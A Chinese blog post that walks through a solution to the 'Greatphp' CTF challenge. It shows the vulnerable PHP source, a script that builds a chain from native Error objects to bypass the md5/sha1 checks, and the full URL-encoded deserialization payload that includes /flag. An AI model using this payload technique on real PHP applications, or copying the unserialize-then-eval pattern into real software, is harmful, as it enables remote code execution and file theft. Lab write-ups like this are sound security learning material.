首页 > 编程语言 >[极客大挑战 2020]Greatphp 1

[极客大挑战 2020]Greatphp 1

时间:2024-07-15 16:31:49浏览次数:22  
标签:syc 极客 3Bs% 22% Greatphp 3A% 2A% 2020 3A7%

原生类反序列化

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

可以看到题目中明显的是有两个加密绕过的,放在平时我们肯定就是直接数组绕过这两个,但是在这里多了一个eval($this->syc)会对syc进行命令执行数组的话会出问题,所以这里不能使用数组直接绕过,这里我学到了利用原生类error类或者Exceotion类进行绕过,Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的
PHP7中,可以在echo时触发__toString,来构造XSS。
这里详细我是学这个师傅的blog的:https://blog.csdn.net/qq_62046696/article/details/128390122?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172102982116800207030546%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172102982116800207030546&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-128390122-null-null.142v100pc_search_result_base4&utm_term=%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202020%5DGreatphp1&spm=1018.2226.3001.4187
接下来就构造链子

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$c = new SYCLOVER();
$c->syc=new Error($str,1);$c->lover=new Error($str,2);
echo(urlencode(serialize($c)));

?>

直接利用文件包含包含/flag可以找到flag

最终payload为:

?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A65%3A%22D%3A%5Cstudy%5Cctf%5Chacker%5Cphpstrom%5CPhpStorm+2023.2.4%5Cproject%5Cone%E3%80%81.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A65%3A%22D%3A%5Cstudy%5Cctf%5Chacker%5Cphpstrom%5CPhpStorm+2023.2.4%5Cproject%5Cone%E3%80%81.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

标签:syc,极客,3Bs%,22%,Greatphp,3A%,2A%,2020,3A7%
From: https://www.cnblogs.com/z2gh/p/18303408

相关文章

  • P8704 [蓝桥杯 2020 省 A1] 填空问题 题解
    题目传送门A.跑步训练我们经过仔细观察,可以发现每222分钟就会消耗300300......
  • [MRCTF2020]Ezaudit 1
    信息收集,伪随机数打开之后发现什么按键都没用,直接扫目录得到了两个网址:www.ziplogin.html<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);if(isset($_POST['login'])){$username=$_POST['username'];$password=$_POST[&......
  • [极客大挑战 2020]Roamphp1-Welcome 1
    前端代码审计,信息收集,sha1绕过进来之后发现什么都没有,什么东西都找不到,扫后台也没东西,可以看到在请求头中有异常尝试切换get传参为post传参爆出了源码<?phperror_reporting(0);if($_SERVER['REQUEST_METHOD']!=='POST'){header("HTTP/1.1405MethodNotAllowed")......
  • [b01lers2020]Life on Mars 1
    sql注入,信息搜集打开之后大脑一片空白,不知道入手点在哪,信息什么都查不到,最后抓包抓到了东西发现抓包的时候出现了两个参数,直接在网页上访问一下发现爆装备了,在这里我卡了挺久的,最后是看其他师傅的wp发现这里是sql注入,就是一个最基础的整形注入,确定了之后我们直接上sqlma......
  • SEERC 2020
    SEERC2020Archeologists题目相当于选择若干区间,满足区间左右端点不重合,求前缀和,转化为CF865D,堆贪心即可或者考虑模拟费用流:ReverseGame交换操作考虑逆序对,发现每个时刻都可以操作\(1,2\),直接计算\(\text{SG}\)函数即可3-coloringsDiskSort贪心,每次操作找到特殊的......
  • [WUSTCTF2020]level3
    拖入ida,是一个base64串,但是用工具还原不了猜测是密钥变了,此时看到了另一个函数,这个函数改变了base64密钥写个脚本给他运行一下,后面是改完的key和输出结果importbase64a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'b=list(a)foriinrange......
  • MBR20200FCT-ASEMI无人机专用MBR20200FCT
    编辑:llMBR20200FCT-ASEMI无人机专用MBR20200FCT型号:MBR20200FCT品牌:ASEMI封装:TO-220F批号:最新最大平均正向电流(IF):20A最大循环峰值反向电压(VRRM):200V最大正向电压(VF):0..90V工作温度:-50°C~175°C反向恢复时间:35ns芯片个数:2芯片尺寸:74mil引脚数量:3正向浪涌电流(IFMS):200A......
  • [BJDCTF2020]EzPHP 1
    信息收集,waf绕过打开后源码中可以看到这个东西,解码后是1nD3x.php<?phphighlight_file(__FILE__);error_reporting(0);$file="1nD3x.php";$shana=$_GET['shana'];$passwd=$_GET['passwd'];$arg='';$code='';echo&quo......
  • [GYCTF2020]EasyThinking 1
    think模板,6.0特性因为题目已经很明确给我们了hint,直接尝试查看特性发现这里是任意文件写入的hint具体可以查看https://www.freebuf.com/vuls/352360.html这里我们直接进行账号注册因为他是根据cookie的名称进行定义文件名称的所以我们可以直接写文件名,这里的文件名长度要求......
  • [NPUCTF2020]ezinclude 1
    md5,题目打开之后是什么都没有的,直接进行抓包可以看到是给了一个hash值的,而且告诉了Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)如果$name='',则有$md5($secret.$name)=$md5($secret)=上面的Hash则/?pass=上面的Hash即可,或者带上&name=传递空值访问flflflflag.php......